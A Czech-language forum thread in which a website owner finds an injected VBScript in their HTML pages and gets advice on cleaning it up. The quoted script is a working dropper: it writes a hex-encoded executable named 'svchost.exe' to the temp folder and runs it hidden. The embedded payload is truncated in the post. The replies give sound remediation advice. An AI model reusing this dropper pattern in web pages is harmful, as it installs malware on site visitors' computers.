HTML - nechteny script ?
Dobry den tvorim si web www.noopcz.tk ulozim (soubor .html ma kolem 3-10kb, hodim na hosting a vsechno jede , ale najednou soubor ma 100 a vice kb + je ve zdrojovem kodu tento script
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B8000000000000004 00000000000000000000000000000000000000000000000000 00000000000000000000000010000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 000000000000000000000000"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>
PS: script jsem musel zkratit protoze to melo asi 90 radku ..
DEkuji za vsechny rady :)
Třeba se ti něco nabouralo do TC a mění to. Co zkusit změnit heslo?
podla toho drop file svchost tipujem ze je to vir a teda mas deravy PHP kod na serveri (alebo derave heslo)
Projít PC na škodnou! Změnit heslo na hostingu, nahrát znovu čisté soubory. Heslo v TC buď vůbec neukládat, anebo uložit do "netypického" umístění v PC.
Nebo před skončením změnit v TC heslo přidáním jednoho znaku a před připojením jeden znak umazat.
Stejně tam bude mít i nějakou jinou škodnou.
Ale nepíše, jestli používá TC, to jsem jen tak střelil.
JJ TC je celkem hodně používaný, tak se to dá předpokládat. A je i celkem známo, že s ním jsou problémy tohoto druhu.
lezu na internet jako správce, a pak se divím, co mi to zapisuje do system32.
doporucil bych pouzit pro pristup na hosting Filezillu a SFTP. TC a FTP je cesta do pekla.
Dekuji za rady , ano byl to virus (trj) , vyresil jsem to zkontrolovanim meho pc + Vymazani radku ve zdrojovych kodech . , a promazal web ..